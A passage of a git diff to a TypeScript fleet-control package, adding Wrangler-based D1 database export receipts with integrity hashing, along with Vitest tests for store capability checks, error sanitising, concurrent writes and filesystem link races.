size, sha256: hash.digest('hex') }; +} + export class WranglerPlainWorkerProvisioningApi implements PlainWorkerProvisioningApi { + /** Canonical immutable receipt authority, present only with receipt export. */ + declare readonly databaseExportReceiptAuthority?: string; + /** Publishes one immutable-ID receipt and cleans its private scratch file. */ + declare readonly exportDatabaseReceipt?: ( + identity: DatabaseExportReceiptIdentity, + fence: ExternalMutationFence, + ) => Promise; readonly #runner: CommandRunner; readonly #routeApi: PlainWorkerRouteApi; readonly #exportDirectory: string; @@ -109,7 +145,25 @@ export class WranglerPlainWorkerProvisioningApi this.#runner = options.runner; this.#routeApi = options.routeApi; this.#exportDirectory = resolve(options.exportDirectory); - this.#exportStore = options.exportStore; + const exportStore = options.exportStore; + this.#exportStore = exportStore; + const receiptCapability = captureDatabaseExportReceiptCapability( + exportStore, + () => [exportStore.receiptAuthority, exportStore.writeReceipt], + ); + if (receiptCapability) { + const writeReceipt = receiptCapability.method as NonNullable< + DurableDatabaseExportStore['writeReceipt'] + >; + this.databaseExportReceiptAuthority = receiptCapability.authority; + this.exportDatabaseReceipt = (identity, fence) => { + const canonical = databaseExportReceiptIdentityFromUnknown( + identity, + receiptCapability.authority, + ); + return this.#exportDatabaseReceipt(canonical, fence, writeReceipt); + }; + } this.#routeGetDatabase = options.routeApi.getDatabase?.bind( options.routeApi, ); @@ -603,4 +657,72 @@ export class WranglerPlainWorkerProvisioningApi await rm(temporaryDirectory, { recursive: true, force: true }); } } + + async #exportDatabaseReceipt( + identity: DatabaseExportReceiptIdentity, + fence: ExternalMutationFence, + writeReceipt: NonNullable, + ): Promise { + await mkdir(this.#exportDirectory, { recursive: true }); + const temporaryDirectory = await mkdtemp( + join(this.#exportDirectory, '.wrangler-export-'), + ); + const temporaryLocation = join(temporaryDirectory, 'database-export.sql'); + const operation = await settleOperation(async () => { + await fence.assertOwned(); + await this.#runner.run([ + 'd1', + 'export', + identity.databaseId, + '--remote', + '--skip-confirmation', + '--output', + temporaryLocation, + ]); + await chmod(temporaryLocation, 0o600); + const metadata = await stat(temporaryLocation); + if (!metadata.isFile() || metadata.size === 0) { + throw new Error('Wrangler database export is not a non-empty file'); + } + const integrity = await hashScratchFile(temporaryLocation); + if (integrity.size !== metadata.size) { + throw new Error('Wrangler database export changed while being hashed'); + } + const expectedIntegrity = Promise.resolve(integrity); + const stored = await writeReceipt({ + identity, + body: Readable.toWeb( + createReadStream(temporaryLocation), + ) as ReadableStream, + contentLength: integrity.size, + expectedIntegrity, + }); + if ( + !stored.location || + stored.size !== integrity.size || + stored.sha256 !== integrity.sha256 + ) { + throw new Error( + 'durable database export store returned mismatched committed integrity', + ); + } + return { + location: stored.location, + size: integrity.size, + sha256: integrity.sha256, + }; + }); + const cleanup = await settleOperation(() => + rm(temporaryDirectory, { recursive: true, force: true }), + ); + if (operation.status === 'rejected' && cleanup.status === 'rejected') { + throw new AggregateError( + [operation.reason, cleanup.reason], + 'database export receipt and Wrangler scratch cleanup failed', + ); + } + if (operation.status === 'rejected') throw operation.reason; + if (cleanup.status === 'rejected') throw cleanup.reason; + return operation.value; + } } diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index ad879ab6..7734fab5 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -6,6 +6,7 @@ import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-p import { CloudflareProvisioningClient } from '../src/cloudflare-client.js'; import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; import type { + DatabaseExportReceiptIdentity, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, ExternalMutationFence, @@ -27,6 +28,14 @@ import { } from './fixtures/plain-worker-port-probe.js'; import { providerWorld } from './fixtures/provider-world.js'; +const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; +const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = { + version: 1, + authority: RECEIPT_AUTHORITY, + databaseId: '00000000-0000-0000-0000-000000000001', + operationId: '00000000-0000-4000-8000-000000000002', +}; + function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent { const base = { scriptName: 'acme-production', @@ -597,6 +606,141 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { ).resolves.toBeUndefined(); }); + it('forwards one receipt identity under the original client receiver and fence', async () => { + const seeded = subject(async () => single({})); + const { client } = seeded; + const legacy = vi + .spyOn(client, 'exportDatabase') + .mockRejectedValue(new Error('legacy export must not run')); + let authorityReads = 0; + let methodReads = 0; + let receiver: unknown; + let received: DatabaseExportReceiptIdentity | undefined; + Object.defineProperties(client, { + databaseExportReceiptAuthority: { + configurable: true, + get() { + authorityReads += 1; + return RECEIPT_AUTHORITY; + }, + }, + exportDatabaseReceipt: { + configurable: true, + get() { + methodReads += 1; + return function ( + this: unknown, + identity: DatabaseExportReceiptIdentity, + ) { + receiver = this; + received = identity; + return Promise.resolve({ + databaseId: identity.databaseId, + location: 'memory://receipt', + size: 4, + sha256: 'a'.repeat(64), + }); + }; + }, + }, + }); + const api = new CloudflareApiPlainWorkerProvisioningApi({ client }); + expect(api.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY); + expect([authorityReads, methodReads]).toEqual([1, 1]); + const exportReceipt = api.exportDatabaseReceipt; + if (!exportReceipt) throw new Error('expected receipt export capability'); + const assertOwned = vi.fn(async () => {}); + const receiptFence: ExternalMutationFence = { + mutationLeaseTtlMs: 60_000, + assertOwned, + }; + await expect( + exportReceipt(RECEIPT_IDENTITY, receiptFence), + ).resolves.toEqual({ + location: 'memory://receipt', + size: 4, + sha256: 'a'.repeat(64), + }); + expect(receiver).toBe(client); + expect(received).toEqual(RECEIPT_IDENTITY); + expect(assertOwned).toHaveBeenCalledTimes(1); + expect(legacy).not.toHaveBeenCalled(); + + assertOwned.mockClear(); + received = undefined; + const authorityFailure = await exportReceipt( + { ...RECEIPT_IDENTITY, authority: 'memory://other/receipts/v1' }, + receiptFence, + ).catch((error: unknown) => error); + expect(authorityFailure).toBeInstanceOf(Error); + expect((authorityFailure as Error).message).toBe( + 'database export receipt authority differs from configured authority', + ); + expect((authorityFailure as Error).cause).toBeUndefined(); + expect(assertOwned).not.toHaveBeenCalled(); + expect(received).toBeUndefined(); + + const absentClient = subject(async () => single({})).client; + const absent = new CloudflareApiPlainWorkerProvisioningApi({ + client: absentClient, + }); + expect('databaseExportReceiptAuthority' in absent).toBe(false); + expect('exportDatabaseReceipt' in absent).toBe(false); + + Object.defineProperty(absentClient, 'databaseExportReceiptAuthority', { + configurable: true, + value: RECEIPT_AUTHORITY, + }); + const malformed = (() => { + try { + return new CloudflareApiPlainWorkerProvisioningApi({ + client: absentClient, + }); + } catch (error) { + return error; + } + })(); + expect(malformed).toBeInstanceOf(Error); + expect((malformed as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((malformed as Error).cause).toBeUndefined(); + + for (const property of [ + 'databaseExportReceiptAuthority', + 'exportDatabaseReceipt', + ] as const) { + const throwingClient = subject(async () => single({})).client; + if (property === 'exportDatabaseReceipt') { + Object.defineProperty( + throwingClient, + 'databaseExportReceiptAuthority', + { configurable: true, value: RECEIPT_AUTHORITY }, + ); + } + Object.defineProperty(throwingClient, property, { + configurable: true, + get() { + throw new Error(`${property} getter must not escape`); + }, + }); + const failure = (() => { + try { + return new CloudflareApiPlainWorkerProvisioningApi({ + client: throwingClient, + }); + } catch (error) { + return error; + } + })(); + expect(failure).toBeInstanceOf(Error); + expect((failure as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((failure as Error).cause).toBeUndefined(); + } + }); + it('classifies only provider 404 as an absent Worker', async () => { const absent = subject(async () => Response.json({ success: false, errors: [] }, { status: 404 }), diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 0b3ecfce..65c90c91 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -1,6 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { AsyncLocalStorage } from 'node:async_hooks'; +import { createHash } from 'node:crypto'; import { BaseNamespaces } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; import { afterEach, describe, expect, it, vi } from 'vitest'; import { @@ -10,7 +11,9 @@ import { type DurableDatabaseExportStore, withProviderDispatchTracking, } from '../src/cloudflare-client.js'; +import { databaseExportReceiptError } from '../src/database-export-store.js'; import type { + DatabaseExportReceiptIdentity, PlainWorkerUploadIntent, PlainWorkerVersionBinding, } from '../src/types.js'; @@ -43,6 +46,14 @@ function apiFailure(status: number, message = 'provider failure'): Response { ); } +const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; +const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = { + version: 1, + authority: RECEIPT_AUTHORITY, + databaseId: '00000000-0000-0000-0000-000000000001', + operationId: '00000000-0000-4000-8000-000000000002', +}; + function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent { const base = { scriptName: 'plain', @@ -1548,6 +1559,343 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { expect(fixture.requests).toHaveLength(1); }); + it('exposes receipt export only for a receipt-capable store', () => { + const legacy = plainClient({ + exportStore: { + async write() { + throw new Error('legacy write must not run'); + }, + }, + }); + expect(legacy.databaseExportReceiptAuthority).toBeUndefined(); + expect(legacy.exportDatabaseReceipt).toBeUndefined(); + expect('databaseExportReceiptAuthority' in legacy).toBe(false); + expect('exportDatabaseReceipt' in legacy).toBe(false); + + let authorityReads = 0; + let methodReads = 0; + const store: DurableDatabaseExportStore = { + async write() { + throw new Error('legacy write must not run'); + }, + }; + Object.defineProperties(store, { + receiptAuthority: { + configurable: true, + get() { + authorityReads += 1; + return RECEIPT_AUTHORITY; + }, + }, + writeReceipt: { + configurable: true, + get() { + methodReads += 1; + return async () => ({ + location: 'memory://receipt', + size: 1, + sha256: 'a'.repeat(64), + }); + }, + }, + }); + const capable = plainClient({ exportStore: store }); + expect(capable.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY); + expect(typeof capable.exportDatabaseReceipt).toBe('function'); + expect(Object.hasOwn(capable, 'databaseExportReceiptAuthority')).toBe(true); + expect(Object.hasOwn(capable, 'exportDatabaseReceipt')).toBe(true); + expect([authorityReads, methodReads]).toEqual([1, 1]); + + for (const malformed of [ + { receiptAuthority: RECEIPT_AUTHORITY }, + { writeReceipt: async () => undefined }, + { receiptAuthority: '', writeReceipt: async () => undefined }, + { + receiptAuthority: 'x'.repeat(4_097), + writeReceipt: async () => undefined, + }, + { receiptAuthority: RECEIPT_AUTHORITY, writeReceipt: 'not-callable' }, + ]) { + const failure = (() => { + try { + plainClient({ + exportStore: { + async write() { + throw new Error('legacy write must not run'); + }, + ...malformed, + } as DurableDatabaseExportStore, + }); + } catch (error) { + return error; + } + throw new Error('expected malformed receipt capability to fail'); + })(); + expect(failure).toBeInstanceOf(Error); + expect((failure as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((failure as Error).cause).toBeUndefined(); + } + + for (const property of ['receiptAuthority', 'writeReceipt'] as const) { + const throwingStore: DurableDatabaseExportStore = { + async write() { + throw new Error('legacy write must not run'); + }, + }; + if (property === 'writeReceipt') { + Object.defineProperty(throwingStore, 'receiptAuthority', { + configurable: true, + value: RECEIPT_AUTHORITY, + }); + } + Object.defineProperty(throwingStore, property, { + configurable: true, + get() { + throw new Error(`${property} getter must not escape`); + }, + }); + const failure = (() => { + try { + return plainClient({ exportStore: throwingStore }); + } catch (error) { + return error; + } + })(); + expect(failure).toBeInstanceOf(Error); + expect((failure as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((failure as Error).cause).toBeUndefined(); + } + }); + + it('streams one canonical receipt with independently verified direct integrity', async () => { + const bytes = 'CREATE TABLE receipt (id TEXT);'; + const expectedSha256 = createHash('sha256').update(bytes).digest('hex'); + const events: string[] = []; + let storeReceiver: unknown; + let receivedIntegrity: Promise | undefined; + const store: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy write must not run'); + }, + async writeReceipt(input) { + storeReceiver = this; + events.push('store:start'); + expect(input.identity).toEqual(RECEIPT_IDENTITY); + expect(input.contentLength).toBe(Buffer.byteLength(bytes)); + receivedIntegrity = input.expectedIntegrity; + expect(input.expectedIntegrity).toBeInstanceOf(Promise); + const body = Buffer.from(await new Response(input.body).arrayBuffer()); + events.push('store:body'); + const integrity = await input.expectedIntegrity; + expect(integrity).toEqual({ + size: body.byteLength, + sha256: expectedSha256, + }); + return { + location: 'memory://receipt', + size: body.byteLength, + sha256: expectedSha256, + }; + }, + }; + const fixture = recordingFetch(({ url }) => { + if (new URL(url).hostname === 'download.example.test') { + return new Response(bytes, { + headers: { 'content-length': String(Buffer.byteLength(bytes)) }, + }); + } + return single({ + status: 'complete', + result: { signed_url: 'https://download.example.test/receipt.sql' }, + }); + }); + const client = plainClient({ fetch: fixture.fetch, exportStore: store }); + const exportReceipt = client.exportDatabaseReceipt; + if (!exportReceipt) throw new Error('expected receipt export capability'); + await expect( + fenced(client, () => exportReceipt(RECEIPT_IDENTITY)), + ).resolves.toEqual({ + databaseId: RECEIPT_IDENTITY.databaseId, + location: 'memory://receipt', + size: Buffer.byteLength(bytes), + sha256: expectedSha256, + }); + expect(storeReceiver).toBe(store); + expect(receivedIntegrity).toBeInstanceOf(Promise); + expect(events).toEqual(['store:start', 'store:body']); + + fixture.requests.length = 0; + const authorityFailure = await Promise.resolve() + .then(() => + exportReceipt({ + ...RECEIPT_IDENTITY, + authority: 'memory://different/receipts/v1', + }), + ) + .catch((error: unknown) => error); + expect(authorityFailure).toBeInstanceOf(Error); + expect((authorityFailure as Error).message).toBe( + 'database export receipt authority differs from configured authority', + ); + expect((authorityFailure as Error).cause).toBeUndefined(); + expect(fixture.requests).toHaveLength(0); + + const classified = databaseExportReceiptError('collision'); + let classifiedFieldReads = 0; + for (const property of [ + 'status', + 'name', + 'constructor', + 'cause', + ] as const) { + Object.defineProperty(classified, property, { + configurable: true, + get() { + classifiedFieldReads += 1; + throw new Error(`${property} must not be read`); + }, + }); + } + const classifiedStore: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw classified; + }, + async writeReceipt() { + throw classified; + }, + }; + const classifiedClient = plainClient({ + fetch: fixture.fetch, + exportStore: classifiedStore, + }); + const classifiedExportReceipt = classifiedClient.exportDatabaseReceipt; + if (!classifiedExportReceipt) { + throw new Error('expected classified receipt export capability'); + } + await expect( + fenced(classifiedClient, () => classifiedExportReceipt(RECEIPT_IDENTITY)), + ).rejects.toBe(classified); + expect(classifiedFieldReads).toBe(0); + for (const property of [ + 'status', + 'name', + 'constructor', + 'cause', + ] as const) { + Reflect.deleteProperty(classified, property); + } + const legacyFailure = await fenced(classifiedClient, () => + classifiedClient.exportDatabase(RECEIPT_IDENTITY.databaseId), + ).catch((error: unknown) => error); + expect(legacyFailure).not.toBe(classified); + expect(String((legacyFailure as Error).message)).toContain('D1 export for'); + + const forged = new Error(classified.message); + let forgedStatusReads = 0; + Object.defineProperty(forged, 'status', { + configurable: true, + get() { + forgedStatusReads += 1; + throw new Error('forged status must be sanitized'); + }, + }); + const forgedStore: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy write must not run'); + }, + async writeReceipt() { + throw forged; + }, + }; + const forgedClient = plainClient({ + fetch: fixture.fetch, + exportStore: forgedStore, + }); + const forgedExportReceipt = forgedClient.exportDatabaseReceipt; + if (!forgedExportReceipt) { + throw new Error('expected forged receipt export capability'); + } + const forgedFailure = await fenced(forgedClient, () => + forgedExportReceipt(RECEIPT_IDENTITY), + ).catch((error: unknown) => error); + expect(forgedFailure).not.toBe(forged); + expect((forgedFailure as Error).message).toContain('D1 export for'); + expect(forgedStatusReads).toBe(1); + + const dishonestStore: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy write must not run'); + }, + async writeReceipt(input) { + await new Response(input.body).arrayBuffer(); + const expected = await input.expectedIntegrity; + return { + location: 'memory://dishonest-receipt', + size: expected.size + 1, + sha256: expected.sha256, + }; + }, + }; + const dishonestClient = plainClient({ + fetch: fixture.fetch, + exportStore: dishonestStore, + }); + const dishonestExportReceipt = dishonestClient.exportDatabaseReceipt; + if (!dishonestExportReceipt) { + throw new Error('expected dishonest receipt export capability'); + } + const dishonestFailure = await fenced(dishonestClient, () => + dishonestExportReceipt(RECEIPT_IDENTITY), + ).catch((error: unknown) => error); + expect((dishonestFailure as Error).message).toContain( + 'committed durable D1 export integrity differs from the download', + ); + + for (const mode of ['synchronous', 'deferred'] as const) { + const lowerFailure = databaseExportReceiptError('collision'); + const cancellationReasons: unknown[] = []; + const rejectingStore: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy write must not run'); + }, + writeReceipt(input): Promise { + Object.defineProperty(input.body, 'cancel', { + configurable: true, + value(reason: unknown) { + cancellationReasons.push(reason); + return Promise.resolve(); + }, + }); + if (mode === 'synchronous') throw lowerFailure; + return Promise.resolve().then(() => { + throw lowerFailure; + }); + }, + }; + const rejectingClient = plainClient({ + fetch: fixture.fetch, + exportStore: rejectingStore, + }); + const rejectingExportReceipt = rejectingClient.exportDatabaseReceipt; + if (!rejectingExportReceipt) { + throw new Error('expected rejecting receipt export capability'); + } + await expect( + fenced(rejectingClient, () => rejectingExportReceipt(RECEIPT_IDENTITY)), + ).rejects.toBe(lowerFailure); + expect(cancellationReasons).toEqual([lowerFailure]); + } + }); + it.each([ [404, 'absent'], [200, 'deleted'], diff --git a/packages/fleet-control/test/export-store.test.ts b/packages/fleet-control/test/export-store.test.ts index 3095d54b..f368077c 100644 --- a/packages/fleet-control/test/export-store.test.ts +++ b/packages/fleet-control/test/export-store.test.ts @@ -1,26 +1,130 @@ // SPDX-License-Identifier: Apache-2.0 +import { execFile } from 'node:child_process'; import { createHash } from 'node:crypto'; +import type { BigIntStats, PathLike } from 'node:fs'; import { + chmod, + link, lstat, mkdir, mkdtemp, + open, readdir, readFile, realpath, rm, stat, symlink, + unlink, writeFile, } from 'node:fs/promises'; +import { createServer } from 'node:net'; import { tmpdir } from 'node:os'; import { isAbsolute, join } from 'node:path'; -import { fileURLToPath } from 'node:url'; +import { fileURLToPath, pathToFileURL } from 'node:url'; +import { promisify } from 'node:util'; +import { runInNewContext } from 'node:vm'; import { afterEach, describe, expect, it, vi } from 'vitest'; -import { FileSystemDatabaseExportStore } from '../src/export-store.js'; +import { + databaseExportIntegrityFromUnknown, + databaseExportReceiptAuthorityFromUnknown, + databaseExportReceiptIdentityFromUnknown, + isDatabaseExportReceiptError, +} from '../src/database-export-store.js'; +import { + createFileSystemDatabaseExportStoreWithReceiptPrimitives, + FileSystemDatabaseExportStore, +} from '../src/export-store.js'; +import type { + DatabaseExportIntegrity, + DatabaseExportReceiptIdentity, +} from '../src/types.js'; const encoder = new TextEncoder(); +const execFileAsync = promisify(execFile); const temporaryDirectories: string[] = []; +const DATABASE_ID = '01234567-89ab-cdef-0123-456789abcdef'; +const OPERATION_ID = '12345678-1234-4234-9234-123456789abc'; +const SECOND_OPERATION_ID = '22345678-1234-4234-9234-123456789abc'; +const THIRD_OPERATION_ID = '32345678-1234-4234-9234-123456789abc'; + +function integrity(value: string): DatabaseExportIntegrity { + return { + size: encoder.encode(value).byteLength, + sha256: createHash('sha256').update(value).digest('hex'), + }; +} + +function receiptIdentity( + store: FileSystemDatabaseExportStore, + operationId = OPERATION_ID, +): DatabaseExportReceiptIdentity { + const authority = store.receiptAuthority; + if (authority === undefined) { + throw new Error('filesystem receipt capability is unavailable'); + } + return { + version: 1, + authority, + databaseId: DATABASE_ID, + operationId, + }; +} + +async function writeReceipt( + store: FileSystemDatabaseExportStore, + value: string, + operationId = OPERATION_ID, + expected = integrity(value), +) { + const writer = store.writeReceipt; + if (writer === undefined) { + throw new Error('filesystem receipt capability is unavailable'); + } + return writer({ + identity: receiptIdentity(store, operationId), + body: body(value), + contentLength: encoder.encode(value).byteLength, + expectedIntegrity: Promise.resolve(expected), + }); +} + +function receiptDirectory(root: string): string { + return join(root, '.anchorage-receipts', 'v1', DATABASE_ID); +} + +function receiptTarget(root: string, operationId = OPERATION_ID): string { + return join(receiptDirectory(root), `${operationId}.sql`); +} + +function trackedOpen(paths: WeakMap): typeof open { + return (async ( + path: PathLike, + flags: string | number, + mode?: string | number, + ) => { + const handle = await open(path, flags, mode); + paths.set(handle, String(path)); + return handle; + }) as typeof open; +} + +function withBigIntIdentity( + statistics: BigIntStats, + device: bigint, + inode: bigint, + size = statistics.size, +): BigIntStats { + return new Proxy(statistics, { + get(target, property, receiver) { + if (property === 'dev') return device; + if (property === 'ino') return inode; + if (property === 'size') return size; + return Reflect.get(target, property, receiver); + }, + }); +} async function temporaryDirectory(): Promise { const directory = await mkdtemp(join(tmpdir(), 'fleet-export-store-')); @@ -73,6 +177,18 @@ describe('FileSystemDatabaseExportStore', () => { ); expect((await stat(location)).mode & 0o777).toBe(0o600); await expect(readdir(root)).resolves.toEqual(['database-1.sql']); + + const empty = await store.write({ + databaseId: 'database-1', + fileName: 'empty.sql', + body: body(), + contentLength: 0, + }); + expect(empty).toEqual({ + location: pathToFileURL(join(await realpath(root), 'empty.sql')).href, + size: 0, + sha256: createHash('sha256').update('').digest('hex'), + }); }); it.each([ @@ -297,4 +413,1012 @@ describe('FileSystemDatabaseExportStore', () => { await expect(readFile(target, 'utf8')).resolves.toBe('inside export'); expect((await lstat(target)).isSymbolicLink()).toBe(false); }); + + it('converges an exact operation receipt after a lost result', async () => { + const root = await temporaryDirectory(); + const store = new FileSystemDatabaseExportStore(root); + const value = 'CREATE TABLE exact_receipt(id INTEGER);'; + const expectedLocation = `${pathToFileURL(root).href}/.anchorage-receipts/v1/${DATABASE_ID}/${OPERATION_ID}.sql`; + + const first = await writeReceipt(store, value); + expect(first).toEqual({ location: expectedLocation, ...integrity(value) }); + await expect(readFile(receiptTarget(root), 'utf8')).resolves.toBe(value); + for (const directory of [ + join(root, '.anchorage-receipts'), + join(root, '.anchorage-receipts', 'v1'), + receiptDirectory(root), + ]) { + expect((await stat(directory)).mode & 0o777).toBe(0o700); + } + expect((await stat(receiptTarget(root))).mode & 0o777).toBe(0o600); + + let pulls = 0; + const cancellationReasons: unknown[] = []; + const unusedBody = { + locked: false, + getReader() { + pulls += 1; + throw new Error('preflight receipt body must not be read'); + }, + cancel(reason: unknown) { + cancellationReasons.push(reason); + return Promise.resolve(); + }, + } as unknown as ReadableStream; + const replay = await store.writeReceipt?.({ + identity: receiptIdentity(store), + body: unusedBody, + contentLength: integrity(value).size, + expectedIntegrity: Promise.resolve(integrity(value)), + }); + expect(replay).toEqual(first); + expect(pulls).toBe(0); + expect(cancellationReasons).toHaveLength(1); + + const lostUnlink = new Error('temporary unlink result lost'); + const lostStore = createFileSystemDatabaseExportStoreWithReceiptPrimitives( + root, + { + unlink: async (path) => { + if (String(path).includes('.receipt-')) throw lostUnlink; + await unlink(path); + }, + }, + ); + let lostFailure: unknown; + try { + await writeReceipt(lostStore, value, SECOND_OPERATION_ID); + } catch (error) { + lostFailure = error; + } + expect(lostFailure).toBeInstanceOf(AggregateError); + expect(isAbsolute(receiptTarget(root, SECOND_OPERATION_ID))).toBe(true); + await expect( + readFile(receiptTarget(root, SECOND_OPERATION_ID), 'utf8'), + ).resolves.toBe(value); + const crashedNames = await readdir(receiptDirectory(root)); + const matchingAlias = crashedNames.find((name) => + name.startsWith('.receipt-'), + ); + expect(matchingAlias).toBeDefined(); + expect((await stat(receiptTarget(root, SECOND_OPERATION_ID))).nlink).toBe( + 2, + ); + + const unrelatedAlias = '.receipt-42345678-1234-4234-9234-123456789abc.tmp'; + await writeFile(join(receiptDirectory(root), unrelatedAlias), 'unrelated', { + mode: 0o600, + }); + await chmod(join(receiptDirectory(root), unrelatedAlias), 0o600); + const paths = new WeakMap(); + const high = 9_007_199_254_740_993n; + const target = receiptTarget(root, SECOND_OPERATION_ID); + const matching = join(receiptDirectory(root), matchingAlias as string); + const unrelated = join(receiptDirectory(root), unrelatedAlias); + const recoveringStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: trackedOpen(paths), + stat: async (handle) => { + const actual = await handle.stat({ bigint: true }); + const path = paths.get(handle); + if (path === target || path === matching) { + return withBigIntIdentity(actual, high, high + 2n); + } + if (path === unrelated) { + return withBigIntIdentity(actual, high - 1n, high + 1n); + } + return actual; + }, + }); + const recovered = await writeReceipt( + recoveringStore, + value, + SECOND_OPERATION_ID, + ); + expect(recovered).toEqual({ + location: pathToFileURL(target).href, + ...integrity(value), + }); + await expect(lstat(matching)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(readFile(unrelated, 'utf8')).resolves.toBe('unrelated'); + expect((await stat(target)).nlink).toBe(1); + expect( + (await readdir(receiptDirectory(root))).filter((name) => + name.endsWith('.sql'), + ), + ).toEqual([`${OPERATION_ID}.sql`, `${SECOND_OPERATION_ID}.sql`]); + }); + + it('converges concurrent matching receipts and preserves a mismatched winner', async () => { + const root = await temporaryDirectory(); + const store = new FileSystemDatabaseExportStore(root); + const value = 'CREATE TABLE concurrent_receipt(id INTEGER);'; + + const concurrent = await Promise.all([ + writeReceipt(store, value), + writeReceipt(store, value), + ]); + expect(concurrent[0]).toEqual(concurrent[1]); + await expect(readFile(receiptTarget(root), 'utf8')).resolves.toBe(value); + expect(await readdir(receiptDirectory(root))).toEqual([ + `${OPERATION_ID}.sql`, + ]); + + await expect( + writeReceipt(store, 'X'.repeat(integrity(value).size), OPERATION_ID), + ).rejects.toThrow( + 'database export receipt collision differs from the committed export', + ); + await expect(writeReceipt(store, 'short', OPERATION_ID)).rejects.toThrow( + 'database export receipt collision differs from the committed export', + ); + await expect(readFile(receiptTarget(root), 'utf8')).resolves.toBe(value); + + const raceValue = 'CREATE TABLE race_winner(id INTEGER);'; + let raced = false; + const targetRaceStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + link: async (temporary, target) => { + if (!raced) { + raced = true; + await writeFile(target, raceValue, { flag: 'wx', mode: 0o600 }); + await chmod(target, 0o600); + } + await link(temporary, target); + }, + }); + await expect( + writeReceipt(targetRaceStore, raceValue, SECOND_OPERATION_ID), + ).resolves.toEqual({ + location: pathToFileURL(receiptTarget(root, SECOND_OPERATION_ID)).href, + ...integrity(raceValue), + }); + + const mismatchRaceValue = 'CREATE TABLE mismatch_race(id INTEGER);'; + let mismatchedRace = false; + const mismatchRaceStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + link: async (temporary, target) => { + if (!mismatchedRace) { + mismatchedRace = true; + await writeFile(target, 'different committed bytes', { + flag: 'wx', + mode: 0o600, + }); + await chmod(target, 0o600); + } + await link(temporary, target); + }, + }); + await expect( + writeReceipt(mismatchRaceStore, mismatchRaceValue, THIRD_OPERATION_ID), + ).rejects.toThrow( + 'database export receipt collision differs from the committed export', + ); + await expect( + readFile(receiptTarget(root, THIRD_OPERATION_ID), 'utf8'), + ).resolves.toBe('different committed bytes'); + + const ambiguousOperation = '42345678-1234-4234-9234-123456789abc'; + const ambiguousFailure = Object.assign(new Error('link result lost'), { + code: 'EIO', + }); + const ambiguousStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + link: async (temporary, target) => { + await link(temporary, target); + throw ambiguousFailure; + }, + }); + await expect( + writeReceipt(ambiguousStore, value, ambiguousOperation), + ).resolves.toEqual({ + location: pathToFileURL(receiptTarget(root, ambiguousOperation)).href, + ...integrity(value), + }); + expect((await stat(receiptTarget(root, ambiguousOperation))).nlink).toBe(1); + + const competingUnlinkOperation = '92345678-1234-4234-9234-123456789abc'; + const competingUnlinkTarget = receiptTarget(root, competingUnlinkOperation); + const competingUnlinkAlias = join( + receiptDirectory(root), + '.receipt-92345678-1234-4234-9234-223456789abc.tmp', + ); + await writeFile(competingUnlinkTarget, value, { mode: 0o600 }); + await chmod(competingUnlinkTarget, 0o600); + await link(competingUnlinkTarget, competingUnlinkAlias); + let competed = false; + const competingUnlinkStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + unlink: async (path) => { + if (String(path) === competingUnlinkAlias && !competed) { + competed = true; + await unlink(path); + } + await unlink(path); + }, + }); + await expect( + writeReceipt(competingUnlinkStore, value, competingUnlinkOperation), + ).resolves.toEqual({ + location: pathToFileURL(competingUnlinkTarget).href, + ...integrity(value), + }); + expect((await stat(competingUnlinkTarget)).nlink).toBe(1); + + const absentOperation = '52345678-1234-4234-9234-123456789abc'; + const nonExistFailure = Object.assign(new Error('link unavailable'), { + code: 'EIO', + }); + const absentStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + link: async () => { + throw nonExistFailure; + }, + }); + await expect( + writeReceipt(absentStore, value, absentOperation), + ).rejects.toBe(nonExistFailure); + await expect( + lstat(receiptTarget(root, absentOperation)), + ).rejects.toMatchObject({ code: 'ENOENT' }); + + const syncOperation = '62345678-1234-4234-9234-123456789abc'; + const syncFailure = new Error('database directory sync result lost'); + const syncTarget = receiptTarget(root, syncOperation); + const syncPaths = new WeakMap(); + const syncLossStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: trackedOpen(syncPaths), + sync: async (handle) => { + if (syncPaths.get(handle) === receiptDirectory(root)) { + throw 